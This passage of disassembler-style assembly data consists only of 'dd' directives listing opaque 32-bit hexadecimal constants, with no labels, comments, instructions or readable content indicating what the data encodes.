		dd 0A82F830h, 43683653h, 0F8414C26h, 0A0FBE009h, 63005054h
		dd 6D380E36h, 67520ABEh, 60B8927Ah, 8285B03Ah, 3135AF71h
		dd 4A3C042h, 622CE902h,	0A4618B22h, 98AC0264h, 488CEC8h
		dd 476C9281h, 8908C3E3h, 803D1170h, 0D94B123Ah,	799AE0C2h
		dd 0F9018310h, 48038248h, 4EAFD436h, 74202A0Ah,	0C2F918FCh
		dd 3C68E828h, 5128D578h, 0E1F90831h, 40418237h,	0D10FC8F2h
		dd 93D210C8h, 45F20888h, 10202C45h, 2767ECBh, 35744C9Dh
		dd 187662E0h, 5C9C0A14h, 0ACFBC5E4h, 67EA8C30h,	48BF0142h
		dd 87710FC7h, 0F1B8C991h, 0B3E061C8h, 0B668811h, 0ABD30329h
		dd 0C074A482h, 0E0CEA840h, 0F0BE212Ah, 0B1969A01h, 89F92591h
		dd 6B6827DFh, 930F3803h, 0F85C07C4h, 1635E13h, 868A6C10h
		dd 22F1345Bh, 0B14734A8h, 486400B1h, 0CF621571h, 0AF838CEFh
		dd 0D0051B26h, 6A36E08Dh, 8200FCCAh, 7515FC0Fh,	7F1FFE50h
		dd 4BC0E011h, 0F4B243DAh, 353E0054h, 0CDB8E4F0h, 0A34AD6FEh
		dd 584E5471h, 0C367310h, 7C57F400h, 0D7B0A864h,	0C5AB349Bh
		dd 0F91FC030h, 38C0B73Bh, 88FA6070h, 611530E0h,	0DED99C41h
		dd 10B0F55Dh, 0A701D11Ah, 0B245F97Eh, 9882346h,	0C449755Fh
		dd 0C2F096D8h, 70641081h, 2D258C0Fh, 9F4BC0E0h,	41037Dh
		dd 0D5A3FF51h, 0AF953B9Ch, 149AC572h, 1CB7F600h, 0A3904EF7h
		dd 0CC3A0C8Bh, 0AFC81F4Ah, 0D42962D8h, 34070017h, 509C1096h
		dd 2517FC67h, 1404E251h, 1F09C2DBh, 5E574402h, 72649460h
		dd 2CFA6F80h, 6A880E6Ch, 0A6F580A0h, 7C1C89C0h,	80884Eh
		dd 4ED0E872h, 888824D1h, 0B34C1028h, 79C5C4F0h,	74E87001h
		dd 0C83257h, 406687A7h,	404E6B8h, 0C98ADECFh, 7C98872Eh
		dd 6A402999h, 5F7309FDh, 54E8FEDAh, 0C493CF9h, 2F3842C8h
		dd 0C8008FD9h, 50CA865h, 0C29008DCh, 0E7D8B426h, 10D74D1Eh
		dd 0CF025B10h, 393B9A6Bh, 0CC8F4F4h, 1C222834h,	2C605888h
		dd 0F706689h, 0C9B6CDF9h, 3FCEE0ECh, 0FE38A0C0h, 4C082D1Eh
		dd 6E27E2ADh, 0A48A0C80h, 0A49C5A2Ah, 0E084944Ah, 0B0B21BDDh
		dd 0A826E878h, 5601208h, 0FE4D95F5h, 0A3DCC17Eh, 8CDD2Ch
		dd 7C700CD0h, 7BE101DDh, 9075FC71h, 43F9E17Ch, 0F8B05A08h
		dd 3496AD10h, 9DE08240h, 9CB88363h, 102388Bh, 4BD11512h
		dd 0A8E07557h, 0F82E8A87h, 9E1FDCE7h, 7004E0F5h, 4CF2A7F5h
		dd 0D01510h, 0A662B010h, 7D132DFh, 0FC6CBFD8h, 54AFF070h
		dd 1800E838h, 47C28C06h, 585CE11Bh, 0A131C98h, 47807143h
		dd 6D9BE904h, 0A0108E6Ch, 0F84D5BB2h, 0E8C60C50h, 2E307058h
		dd 8C170891h, 11802C44h, 67887630h, 0A8A2C9Eh, 0C369384Bh
		dd 836BE234h, 5BF07EC0h, 0C4786718h, 0A8D8D2ECh, 0E788C840h
		dd 3826A234h, 0C0653882h, 0A0F5D1A4h, 7D891258h, 521C9056h
		dd 2E09388Eh, 582AABE4h, 0C0E113B8h, 0DF1144A0h, 0A9F68A00h
		dd 6D9584C5h, 0FECE39C0h, 0F70B484Ch, 4C219AF8h, 263F485Fh
		dd 94902914h, 45FCAD00h, 83948CFh, 0DAD5E7F1h, 3B13C700h
		dd 277F9F77h, 50402DE0h, 2B76AE10h, 50730270h, 8802C90h
		dd 6B4CE2D0h, 42E85011h, 9C6C540h, 96A6F3FCh, 0D2699C82h
		dd 801A9002h, 2DAF55B0h, 76E0C3A4h, 41C1C1CEh, 7A1085AAh
		dd 0A4917B62h, 0FC306AB3h, 722B0322h, 0CCA5E853h, 2AE1A900h
		dd 9C934AAFh, 0AA590009h, 558EA873h, 0DE09BD41h, 48834296h
		dd 0BE114788h, 0DBF90688h, 8B26080h, 98A823F0h,	0FB2EC8CDh
		dd 0D1E2D0D8h, 0ED891DCh, 0E86BE440h, 885F694Bh, 0DDE030B1h
		dd 6A47612h, 755CAF5Eh,	98D77820h, 8BB12244h, 51DDE0EFh
		dd 301D69D6h, 0EA3748B0h, 0EF5A063Bh, 20756CE7h, 0B3FEC516h
		dd 0F85F5C42h, 81ECA941h, 2138E030h, 131CC404h,	5734C35Ch
		dd 4AC28818h, 803582B9h, 0C227A02h, 0E117684Ch,	915E00F4h
		dd 87EB01DFh, 0E138E801h, 350F6CEh, 218DBD7h, 363DFCE1h
		dd 604076A7h, 0F913CCA3h, 70402D20h, 6CC48502h,	0B700B16h
		dd 58805E73h, 7CAFA021h, 51EC3800h, 0C78EB847h,	0F4580B15h
		dd 40865F81h, 0AC58D914h, 4893028Ch, 81508F2Ah,	5E8DB0F8h
		dd 18C4B8E0h, 0E89165AFh, 0CF78055Bh, 0D8A5532Ah, 715FC902h
		dd 0C0088152h, 93E8B84Fh, 600125C4h, 801FBCF9h,	6ED237B0h
		dd 2EA77074h, 0E88285h
		dd 980580ADh, 64611EAFh, 4AA2DC59h, 0A020A6C1h,	44560126h
		dd 0FE15133h, 99084585h, 26042C24h, 892F5488h, 468C9974h
		dd 12CF5CD0h, 21CC38F5h, 78FDC7FCh, 70A389F8h, 0C9D4034h
		dd 31DC4103h, 0E1B190B8h, 3800822Eh, 0A1A05ACEh, 0FB05C780h
		dd 84087F34h, 79BE3480h, 0F897007Dh, 1AA70E82h,	0CCFF80A1h
		dd 0A65AE08Bh, 0F6581800h, 31E7D7D8h, 0F88822E6h, 0E0B808ABh
		dd 62009601h, 9C509FA8h, 0B22ECD25h, 791C40F8h,	0B870829Ch
		dd 81D5A027h, 8E86E830h, 0B4F08700h, 0E5890CBBh, 0E0CC1A92h
		dd 16BDF8Ch, 38F89E72h,	335309FFh, 331088A4h, 9940D349h
		dd 0F90161B4h, 1C7C1AAAh, 2DC4028h, 0DCE75D21h,	2EE87104h
		dd 12F0CA1Fh, 888182EAh, 8034B220h, 387EA85h, 0BEF932D5h
		dd 0B4E4A2FDh, 1F405C0Ch, 80FE006Eh, 10D03899h,	0C002AC68h
		dd 858F124Bh, 40E4EA13h, 0EC44BD9Ch, 12D5FA7Eh,	0B05748h
		dd 2D47CABCh, 330F92Ch,	0F65F60FCh, 634B32Ah, 0B02DB1E8h
		dd 668B2801h, 0AF4DE16Dh, 0FB77D0h, 9EAA1055h, 8F89E8BBh
		dd 0F052892h, 4829AB0Eh, 651036C1h, 0D0FF1885h,	68448DF4h
		dd 0D4385494h, 0B8D00462h, 0F49C4BF7h, 14086894h, 624404BBh
		dd 0E8B81746h, 0C7556C03h, 0F1D12DFCh, 62E8E05Bh, 4AC84395h
		dd 72000F41h, 44A04489h, 0C1CFDF73h, 0F8050998h, 7901AF56h
		dd 8788E402h, 0C2E872CAh, 6CE8BA40h, 44BC0050h,	0A44B8B12h
		dd 4B4C6C5Fh, 82C218Ch,	0A2A8007Fh, 72D300A0h, 44993464h
		dd 67069D20h, 1A8EE0F8h, 0FC5D7630h, 24C10063h,	0D0014080h
		dd 0D8D671FFh, 6F61CB0h, 6F614376h, 0F871108Eh,	4E5F4D27h
		dd 64AF1240h, 2B388939h, 1833062h, 8880FD8h, 8AE012CFh
		dd 0D67481C9h, 0C4000524h, 7FD5B8D7h, 19CD0038h, 0C7BFFF3Bh
		dd 852EAFE4h, 0FD001C3Dh, 0D857760Eh, 6DE51647h, 8A600A12h
		dd 9C808DE8h, 89C4B78h,	2E3207E8h, 583801B0h, 4DB66675h
		dd 4A9C3458h, 3C1BA240h, 76277EBFh, 0DCCE9441h,	550CCD42h
		dd 0F0FF2858h, 0CAF912C2h, 126400E4h, 4DBB19F3h, 8781A802h
		dd 0E629AC5Fh, 0FA401D4Ch, 14E18BD0h, 54004C50h, 989DA8F7h
		dd 20E03F03h, 6713E883h, 4CC87356h, 0E7DE0F5Fh,	0F96249A7h
		dd 5C4A1E1Dh, 6E480075h, 0B32595E8h, 42024A0h, 0C0865C04h
		dd 0AAD461B4h, 6E013700h, 0C658E43Ah, 0FCF0115h, 0C8E0229Ch
		dd 3078A60Ah, 10005A17h, 0E898A5F6h, 88604BE2h,	94340878h
		dd 609162F9h, 0E2F4AD1h, 0FACA028Ch, 2AB04CB8h,	4CC3A801h
		dd 0C2A3E7E3h, 53F0A0F1h, 7F773Eh, 0DFC69202h, 0CBA91D5Ch
		dd 0FE404460h, 1A7F0D66h, 789CA7E8h, 4B0A14A2h,	843868C4h
		dd 44918067h, 0C3FE6590h, 80BE4BE0h, 8B74390Ch,	0DD724002h
		dd 0E07D17FBh, 9858EA36h, 0C0204A10h, 99ABE0D4h, 0B058DC9Ah
		dd 8E5450ECh, 293403Ah,	47AB63E4h, 0BA076D7h, 34B67256h
		dd 48FE9C25h, 0BEA2E028h, 0B9D48F58h, 6897A706h, 6210209Dh
		dd 803532AFh, 950034ABh, 386841DAh, 0B6F94C0h, 711B575Ch
		dd 0D0655C25h, 6EEEE0C4h, 0C85558CCh, 37AC0098h, 873A6B1Dh
		dd 0F0E5105Eh, 44007BDFh, 0D4A02CCAh, 6058F8FDh, 0F43F9095h
		dd 0D0BA5AB0h, 62658709h, 0B3F000DDh, 61C5F934h, 0FAA02850h
		dd 20487102h, 897519BCh, 0BC3B8600h, 0A7F908F7h, 0E4909746h
		dd 0F8A4DBD1h, 8CA989FFh, 33ACE83Eh, 683D0083h,	0F5A1C6D1h
		dd 6C988BF2h, 3BFC7E40h, 2E84FA39h, 0AC6D848Dh,	0D3D0578h
		dd 1CC8CA52h, 5AC12467h, 5A2E9040h, 5054A877h, 858BD344h
		dd 0A1949144h, 85B94136h, 2F4C3974h, 0F8A00190h, 0D3E045E5h
		dd 0E410D254h, 0A7527488h, 0F7C80084h, 5B827FB5h, 1808B26Eh
		dd 78E4BCE0h, 363D62C0h, 46AA58Ah, 0D4A82878h, 84E9E285h
		dd 81B0BC9Ch, 4B222E5Bh, 0DE80D438h, 2A0AC182h,	5F65AD01h
		dd 0F3E1177Dh, 0FD60002Ah, 0E7FADA77h, 3A8F6D25h, 0C9D8FBC0h
		dd 3D2070CCh, 0A8C950CEh, 0E30C0053h, 51AD11F1h, 434C0EE0h
		dd 185FC250h, 8B98D903h, 504E5DFEh, 54638505h, 481315C7h
		dd 0CC497CA3h, 4098E813h, 9DB2E060h, 51047266h,	8EAF55CAh
		dd 2C1160A0h, 7A486D6h,	0F03A2045h, 8B0FF40h, 0A2F6CB01h
		dd 0EA90E0BDh, 83F4272Eh, 91005A1Eh, 1BC5CFAEh,	4EEED9E2h
		dd 2A9C2909h, 0BF5DC040h, 0E0F9592Ah, 4F84BEA9h, 105C6006h
		dd 0A6F5BCA0h, 0A8B271Ch, 3842E086h, 8585C48h, 215550C5h
		dd 18020D94h, 7C1E4CE2h, 9DA9C09Fh, 6B633558h, 0B47D2403h
		dd 0D87B4299h, 8A89C0h,	5510D138h, 0E8477270h, 1160E9F0h
		dd 0F820111h, 611B3FD5h, 0C93A32FEh, 147E0CD1h,	0F105D826h
		dd 0BCB210C8h, 0F4A2D121h, 0AA88149Fh, 0D4005F54h, 0A8B6B013h
		dd 0E08940C1h, 61002581h, 7490A9F6h, 0A47BFA2Ch, 0C9D9833Fh
		dd 317C0BE8h, 0F570F889h, 3ABF428h, 7350899Fh, 94AF8658h
		dd 7F006082h, 276DED12h, 1702A87Ch, 1C5ABF36h, 0C2141628h
		dd 0AC74D19Ch, 0FC506C12h, 875001F8h, 79F72ED2h, 0EECB6868h
		dd 0D158CCD8h, 0A6F80132h, 0F97990A0h, 282C78D9h, 188E9440h
		dd 6031B7E0h, 8C179590h, 8056415Fh, 0F4C8D0C5h,	0FC9D5090h
		dd 0D8B34C17h, 18808713h, 0F3D1481Ch, 5F80289Eh, 0ED8805DAh
		dd 61564BCEh, 3FC72208h, 69740830h, 0A4D6025Fh,	0B116E867h
		dd 730B6468h, 1182FE00h, 0E3C78CDFh, 58AB01F2h,	0EEE86921h
		dd 0CC443F60h, 0FCF78B43h, 7C89953Ch, 600B1507h, 0EA370423h
		dd 59EB40CFh, 5301FEC6h, 0E050AACFh, 8C65EE16h,	8214252Fh
		dd 3CE057F4h, 303BA35h,	52D03894h, 6FB2A04Ah, 88434C17h
		dd 0F0387F2Fh, 8920E864h, 0ED6E0097h, 1DC65A55h, 8402FDD0h
		dd 46B00980h, 4958D105h, 57EEA010h, 7808389Bh, 4E8046Fh
		dd 13091B2h, 9412E039h,	0FC7A7C00h, 0B00FF050h,	14A20165h
		dd 0D03A8713h, 1C313B4Ah, 9EA4BE8h, 0F94770F1h,	0EC78B9h
		dd 0C661CC38h, 0FA6F63E8h, 1C04424Ah, 0B312B92Ch, 168721F8h
		dd 30F8A58Eh, 0D36201F8h, 42CEFF68h, 2CD8D27Ch,	9F4EE0Dh
		dd 0C830F0D0h, 76496BAFh, 55D20460h, 0E4840A57h, 0E89460A8h
		dd 11C8F008h, 92D03A46h, 12AF18E4h, 648E1868h, 0D1AC0812h
		dd 186068C8h, 202AC4AFh, 5F00F73Dh, 0DFB82165h,	669124Ch
		dd 6F957B2h, 6B523045h,	3D9110C4h, 0FF994A01h, 686AE866h
		dd 0E8012438h, 24D82E46h, 0A45C3C1Ch, 8BA80FECh, 0B0E6B8C4h
		dd 4CB35498h, 21968826h, 4155C40Dh, 40852D21h, 0ACA5F9F3h
		dd 0D9C60040h, 0FB7AF8C7h, 40CF0069h, 0FE50FDDEh, 0E49B5309h
		dd 9CCEAF86h, 820C9D60h, 85051538h, 0DFB90B91h,	869F74C1h
		dd 0E7EA3800h, 0A35E3C12h, 7CE57000h, 30E02FEDh, 5650735Dh
		dd 70B64EC9h, 5614AB42h, 88E2C708h, 0A5054690h,	0A8AB617Ah
		dd 1888D360h, 3ECE26E9h, 7F7AE104h, 0FD184984h,	0F836309Fh
		dd 253CE35Ch, 12A8C082h, 182304A9h, 0F8EFE874h,	0EA6F00B0h
		dd 0AC87BC6Eh, 0AF6D38B6h, 0BE58C47Dh, 0AB0819Bh, 0A5D43069h
		dd 373D4000h, 0C656D53Ah, 2018B8FCh, 0FB1F5914h, 0BCFDE081h
		dd 213A0051h, 0C7749B29h, 4F2403F9h, 0D8A05B5Dh, 842511C1h
		dd 3B32E011h, 9009D094h, 0C4800938h, 0FFF2335Ch, 1EE868B8h
		dd 0A14C8E63h, 80F8D518h, 385AA5D0h, 3D3B0002h,	0F7C5BDD7h
		dd 960310B8h, 408EB720h, 0C8E894F9h, 622A017Bh,	80FEA8B2h
		dd 12D8C0D1h, 11731A30h, 10C4AF8h, 8CA85305h, 23541CF9h
		dd 55A405F0h, 0FB89F5h
		dd 0BAFC863Eh, 0A160F66Dh, 6F7488B8h, 9997587h,	814CE5F7h
		dd 0E025B814h, 0B8DC62F6h, 576B4FCh, 0A474C90Dh, 0C0ADC0B7h
		dd 0DE091BAFh, 0D8CFA2F5h, 25109EB4h, 0F9042CE5h, 1490A17Bh
		dd 5FF8FFC9h, 679409ABh, 11930CD9h, 4EE8F42Ch, 0F2648084h
		dd 0E713FD56h, 0E0C89B09h, 2D09253h, 0F543CA36h, 80755788h
		dd 76DB0194h, 49DFE2AFh, 0F93B9CB8h, 4082A500h,	1341B0EFh
		dd 731E5492h, 6C026261h, 5E5FB267h, 82246220h, 0A8A0F505h
		dd 7F360868h, 27089E08h, 20E225BBh, 142E647Bh, 2D676840h
		dd 6FA80B4Ah, 8C01FAFh,	0E713EFE4h, 0D8282647h,	6D82DE0h
		dd 6F04A8E4h, 6786FA62h, 0BB8874A9h, 609F4C0Eh,	0E8388971h
		dd 163A073Dh, 0A01ACFA5h, 9FF98590h, 0E8B859C0h, 0C023C7B0h
		dd 61F0E310h, 8B9760AFh, 5AE0C454h, 0F8D8C1B8h,	88186990h
		dd 47940C83h, 86F86F18h, 7E3472F9h, 0BBE15E03h,	0D0534D64h
		dd 48C638h, 0C79BF422h,	0FFB7B4FBh, 0CE01247Ch,	7B281321h
		dd 7428E6AFh, 5D648A07h, 3D5370E0h, 485EF958h, 0C95F0480h
		dd 4A80BC08h, 0B55F505Ch, 0B8C80D4Ah, 1753E466h, 0A49C9Dh
		dd 5C72CE2Ch, 0E600387Bh, 0D4A6A395h, 75E0EACFh, 6238C0F7h
		dd 0C217A7F4h, 7921D500h, 0C9D17DFEh, 5B4017AFh, 853800ABh
		dd 0D977BE02h, 7D27AF98h, 7FD8824Dh, 40949411h,	6140989Bh
		dd 9F90186Eh, 338E988Bh, 99009475h, 4AE5F903h, 164DE6E3h
		dd 0F260A02Eh, 0EDAF0A18h, 0D2008CC3h, 0FC740E2h, 85A7009Eh
		dd 0F45F6874h, 6890959Fh, 89E1D201h, 0ED810C6h,	1C3FD3E8h
		dd 0C2D1FCDBh, 51412E8Fh, 0D50140F9h, 0B7E7E074h, 4B0AB08Bh
		dd 0F98CB06Fh, 137C96Eh, 0D0DA0ACEh, 749634E8h,	28B88700h
		dd 5FDF131Dh, 42F968C8h, 71074503h, 57F2AFD1h, 0CD00223Eh
		dd 0B1E818C0h, 312EDC40h, 657194F2h, 51FC510Ch,	84312B33h
		dd 0B9A4D098h, 0E2550CCCh, 0E8172B08h, 3C00F6DCh, 0E9763C8h
		dd 0C2143E3Ah, 50408625h, 5F0282F7h, 83353CA4h,	0C7F88756h
		dd 9858C2D0h, 57B013DEh, 7400A34Fh, 0D03DBE3Ch,	0B01313B8h
		dd 7800D3D6h, 2952C9A8h, 0D8B85844h, 2F6D01Eh, 0B06E47A1h
		dd 5080F483h, 96D0A9D3h, 0B81C6DD8h, 0C880FED0h, 25C14C17h
		dd 8DB000A4h, 1A6FC2C5h, 404E5B5h, 0F5588AE4h, 54F92880h
		dd 125D4699h, 30717187h, 0FC04A259h, 3E287878h,	364B9C0Ah
		dd 70F07425h, 1DE005Eh,	35484CA7h, 9209A51Dh, 6041E057h
		dd 178D88E0h, 0A4E9F889h, 0D3401998h, 67021799h, 52FC875Fh
		dd 0AF024A46h, 0C804DF27h, 3EE4F9EBh, 76F8404Bh, 0D6D109E5h
		dd 59003BCBh, 0CD968A10h, 519DFA04h, 9CE356CCh,	0B834D04Eh
		dd 264FCEFFh, 0E35DCC8h, 83AF5CC8h, 1FD63D45h, 346440C0h
		dd 0BF3058FDh, 0B41F877Ah, 98F01DE8h, 173816A0h, 2DA62E3h
		dd 136EAF08h, 0B34BC854h, 7004AC8Ch, 3F78E975h,	0D60F8023h
		dd 92FE6872h, 309F7861h, 35106632h, 0E600D34Ch,	0CB5006B4h
		dd 75C2D0h, 68621776h, 0B30B2BA2h, 49359A00h, 0C265B6D4h
		dd 422478CDh, 0B3670071h, 234BBED0h, 0D8EE19B0h, 80565089h
		dd 0C2A38718h, 3816DB8Dh, 7BFB1B8Ch, 0A26F189Dh, 0D5D22896h
		dd 0A92D6E00h, 0C0341CE7h, 20CF03B0h, 73BB276h,	2AD870B7h
		dd 0BE46A08h, 0D0EB5600h, 3D673E9Fh, 977510EEh,	0F2E7052Fh
		dd 0D0807987h, 9EE1DBh,	950956E5h, 54A7CA5Ah, 25B7B600h
		dd 4A2C527h, 0C75E0099h, 479AAA10h, 3500E375h, 0A4694A55h
		dd 0C17B5B9h, 0EFDD6F7Eh, 26004EA8h, 7C6C115Ah,	7C42290Dh
		dd 4DC100E7h, 0CF06B02Ah, 35433E6h, 91C4C98h, 4D0A6182h
		dd 2D14100Bh, 1D3C0080h, 87835373h, 0C867019Dh,	0E8760442h
		dd 922880ADh, 0A424B47Bh, 60217DD9h, 0BC0F98B1h, 0CD20BDDBh
		dd 0DF8D2015h, 6E3DF71Bh, 2AB0D038h, 16562876h,	60F0E2E0h
		dd 87B4780Ah, 30DEE38Eh, 55B9506h, 66070A19h, 1B0E0FEh
		dd 4E652D99h, 81584129h, 1E1022A3h, 18315376h, 2C52F267h
		dd 0FB0F1091h, 0ECEC63Eh, 61D371F4h, 0BAA07003h, 0DC542094h
		dd 31C0EE19h, 1011D356h, 0C33CE222h, 0E7C46F08h, 44234E0Ah
		dd 0BCAE0D04h, 0C2C38D02h, 71D3B4E0h, 7002F0C0h, 0A0928811h
		dd 48F16944h, 0F682680Ah, 90A4915Fh, 0C1181EC0h, 0A3FD10h
		dd 7C854A02h, 0D0E2BDE8h, 0F676820Ah, 0A3DA015h, 38A38E27h
		dd 0EE810F06h, 0E7E7DE0h, 6F7DDB18h, 621B0820h,	37001A61h
		dd 2D84CD73h, 338B2FBh,	107C06D6h, 0C8017DA9h, 6EFCB585h
		dd 0A1F08EF6h, 76440C2Ch, 659078ADh, 6B29A1C4h,	200D9201h
		dd 0C2F880AAh, 70382EA3h, 4F71CF37h, 2061F0Fh, 2301F8DEh
		dd 7669CC57h, 0D450A773h, 0E815F3h, 55C3A1BBh, 61877BFDh
		dd 3D712A02h, 4027B7BDh, 0FA151260h, 0D500CB9h,	0E870F543h
		dd 0B6D85350h, 0A737514h, 23660088h, 72DF9088h,	0D8CE48D2h
		dd 0E0D1C215h, 0C8B9CF14h, 3FA49E28h, 2F04D315h, 83FDB32Bh
		dd 6CD5430h, 0C002DAF0h, 0D960905h, 0F8053F47h,	0E0108D87h
		dd 8F0BC784h, 0CB814CEh, 284EDD0Dh, 2B570BCh, 7667BE7Bh
		dd 0D08061D0h, 0FE6FC10Dh, 78881B35h, 602F1C22h, 300D9360h
		dd 86D8C754h, 0CC05718Dh, 0A1477636h, 0D0139440h, 186D98A7h
		dd 8859FF6Fh, 5F389A10h, 0BBAA019Ch, 0AD6B7487h, 0CE824C4h
		dd 8DB36FFBh, 353DD828h, 0EFF60FF4h, 0E355C675h, 78320E8h
		dd 19004C4Ch, 851857BAh, 7EB9A1B0h, 0A47475B5h,	0E49E88CFh
		dd 4CC26E8Fh, 0FCD0440Bh, 703526A1h, 9EB64D4h, 0BA700355h
		dd 0B7083C53h, 48350809h, 9B8DD818h, 48799280h,	0FCE9087h
		dd 9638Bh, 0DA06C82Fh, 3C881069h, 1D027A87h, 0E7F35C94h
		dd 8B04201h, 584E808h, 0B488F06Ah, 0DCADEC6Fh, 413D1C60h
		dd 0F57C05D5h, 30A5F969h, 3A024E74h, 1DCDB572h,	101C607Fh
		dd 0DA89048Ch, 0D17E400Fh, 22D26790h, 0F4691A28h, 84A82260h
		dd 217868A0h, 0C608A7Ah, 0D0177368h, 5814080Ah,	0CC32434h
		dd 12EE7D41h, 2C764864h, 144796h, 7502AB3Dh, 11280D81h
		dd 301A846Bh, 4C40728Eh, 1333263Ch, 122D12E8h, 1F9C0024h
		dd 9EE5F1AFh, 20F3D501h, 2FFECE04h, 9967B460h, 774784B8h
		dd 0AEA0C0E3h, 1E0016E8h, 0DA80A0BAh, 0E20CE7BFh, 937905h
		dd 21B409F9h, 0D5A77D06h, 9D10A2C2h, 927C40F2h,	0C18908Dh
		dd 7A446F84h, 2B0027C8h, 67E3AE87h, 1D32A88h, 0DD4BB793h
		dd 0A1894E0Fh, 480AEC80h, 882024C2h, 599430A8h,	2004D4E4h
		dd 3496FA8h, 0E4075481h, 86B17C42h, 15808964h, 0F0536F78h
		dd 71A7D200h, 0D00FB554h, 61C7048h, 0C5586F83h,	280B1F20h
		dd 2E9E810Ch, 90E1BD8Ch, 33268F48h, 641A3F8Ch, 4C098F5h
		dd 4E806C1Eh, 0C53000F9h, 0A082EB27h, 0AD00811Bh, 1254DBAh
		dd 12BFBCE2h, 406E6F6Ah, 24E80504h, 0FD79FEC1h,	749E84A1h
		dd 0D0787158h, 0A87CF174h, 0CB9AF712h, 85C8184Fh, 7CD80456h
		dd 0CFB9C076h, 545FB5A1h, 3938BB48h, 160A4093h,	88E0370h
		dd 3937353Ch, 0A76C9209h, 0D4193ECh, 44346C82h,	9B8917Bh
		dd 0EC82B86Fh, 0F01E55Ch, 9C4040F2h, 44E3623h, 4FB91FAh
		dd 7F1883EBh, 0F02D2BF9h, 0D0072524h, 3C23E0DDh, 0F0E60C80h
		dd 0CDCE093Dh, 0BC22546Dh, 0E08A0D35h, 0B516BC7Ch, 20A85994h
		dd 0DFC5F4A3h, 444E032Eh, 9FB333C0h, 0FF771679h, 493C44F5h
		dd 25F4007Dh, 0C0F13970h, 0D63D0148h, 0A90023E6h, 68895972h
		dd 6C9FDEAh, 0D36F6911h
		dd 571480F9h, 7BF02FF8h, 761A8490h, 4450AB8Eh, 0A2103B18h
		dd 0DB894848h, 0A71ADC82h, 106D1048h, 4C727A26h, 79869B63h
		dd 48F64818h, 8CC66F83h, 254C9801h, 8B02EEB0h, 61843828h
		dd 43B0CDE3h, 6150A0F0h, 5CB9F355h, 65899090h, 0A50B2484h
		dd 8F488B30h, 18000971h, 5CA289C4h, 0F0C6C37h, 35C8C42Fh
		dd 3CA6A5Ch, 0EA761C0Bh, 9D503069h, 4E0D9EC1h, 215CBA5Dh
		dd 0F76703ABh, 0C8A80BF8h, 8F158C2Fh, 48CC0958h, 0D990A24h
		dd 0C9B48CBBh, 0AC4064D4h, 0B8166FFDh, 0E760A025h, 0F6BF09EEh
		dd 8C98B6D1h, 996AC9F7h, 761D8411h, 0CA0388D0h,	0E3672E6Dh
		dd 0DE75BDA0h, 0B7187262h, 1A8626Bh, 6AD76F80h,	27CE608Bh
		dd 0F07C2C00h, 760A08C2h, 0EC07343Fh, 0EF10234Fh, 98C1487Ah
		dd 0F25E9801h, 60D7ADA7h, 54817594h, 249444F6h,	18AC6D2Dh
		dd 0D638007h, 0F7015894h, 91B9C209h, 98A00870h,	97EB0388h
		dd 0D905785Dh, 3D5EC08Fh, 5C90D080h, 9600FD78h,	0A854C370h
		dd 0A2FE830Fh, 3C4C2CCh, 16C2D4h, 957D598h, 17342568h
		dd 0C771D70Eh, 24A9C975h, 7009B800h, 6F4DA040h,	0F7039492h
		dd 0C8301EB6h, 0FBCAE08Eh, 85680061h, 0F5F13F23h, 0D93DE904h
		dd 8DE800ABh, 676FB00Fh, 18F0CFE0h, 0D02F1360h,	8712AFA6h
		dd 0C041E960h, 0FBC21D6Fh, 0B0A49231h, 67B6C2B8h, 180768C9h
		dd 2F380111h, 46768285h, 72888BF8h, 355838E0h, 8A6C9949h
		dd 13AC18B6h, 0CBD0049Bh, 254E00DDh, 1EDF2813h,	41239Dh
		dd 0B2152205h, 9C018678h, 0FFAC972Ah, 0E8E7F94Dh, 3D84B829h
		dd 6B83D49Eh, 266175BCh, 0DC975828h, 49A8EC49h,	3B409478h
		dd 40E44C56h, 0E0F4E48h, 400AEA7Dh, 0E8627235h,	0CDE71E64h
		dd 84A14F5h, 40317513h,	12256794h, 990965C6h, 20DB926Fh
		dd 5F0D07F4h, 26089AB6h, 2401AAFh, 8DBD1002h, 0E5F85C58h
		dd 34F7A540h, 299754Bh,	37D17698h, 463E6040h, 0E24E2905h
		dd 0BC8244CDh, 0A0D450DDh, 832459h, 27E038BEh, 39760916h
		dd 9F3A3CBAh, 855C137Ch, 0B7047830h, 5D0D7929h,	6A002879h
		dd 9D0F168h, 98B914h, 0B699209Bh, 1C77332Eh, 98FF6300h
		dd 0E476652Dh, 0CB70DD61h, 9FE02397h, 5B0902Fh,	4E6A2D95h
		dd 10FC2426h, 0CE012CD0h, 296F7C25h, 0FE109D88h, 2701582h
		dd 633F20CFh, 0CE034034h, 104E3823h, 0F44950B5h, 0EAC01E2h
		dd 5CF84DFCh, 0B504D427h, 6F765009h, 0A0989A8Ah, 39FBB74Ch
		dd 744600ADh, 613E22E4h, 5600341Ah, 3EF6782h, 96892776h
		dd 9A24FC0h, 0C464535h,	204B3896h, 6F799A10h, 0EC2151A3h
		dd 0CC04824h, 32F11001h, 915C7D28h, 9B0D1228h, 7447EC80h
		dd 0A18301E5h, 0D4A5BFAEh, 6FB2408Dh, 48DD119Ah, 5003BCE6h
		dd 0F07F1ECFh, 7E83CB77h, 0DCA1DB5h, 0A048F049h, 2C1CCC95h
		dd 0B75310F0h, 107394D2h, 0D000DB56h, 76FFBBCh,	12A28A90h
		dd 40EEEF0Dh, 9485E84h,	70CEC89Eh, 0C3AB0174h, 0BC709407h
		dd 0A7123FC7h, 8D27B905h, 0F0AC06Eh, 498CFC3h, 9600589Ch
		dd 0E74F930Dh, 0E0EE1AB4h, 0A05879C2h, 18BC7C27h, 82795C98h
		dd 0FC2000C4h, 7A2700CBh, 0E3C8137Fh, 0D724C70Fh, 460014F7h
		dd 8DC23E8Ah, 0C6B60507h, 7B7E75h, 2A986EC0h, 7F3884CDh
		dd 0C400CA6Fh, 8DD0D360h, 260B1BBh, 6D910D98h, 6F387440h
		dd 31ACEC0Fh, 9F8540F9h, 12CBA075h, 4F2ED5EDh, 710A0F58h
		dd 4D3300A4h, 87AC098Eh, 0D6F05D05h, 0F0871186h, 0A9605873h
		dd 1FEFB6Fh, 33E4C0F7h,	4B45928h, 8BA675B9h, 0A01210D3h
		dd 96DAD5h, 5E998159h, 7742E16Ch, 215FCC12h, 891B3407h
		dd 100D1610h, 6300F576h, 0BA2675D2h, 8412042Ah,	8691C80h
		dd 6FF11005h, 0BC5C11C8h, 2E7CC448h, 1C1A98Eh, 7747929Eh
		dd 4633D0EFh, 0E40DA316h, 4B9D845h, 0C4BCFC81h,	0B3449115h
		dd 64E84751h, 0C04CA1F0h, 864C136Fh, 0C044F9Ch,	3890220Fh
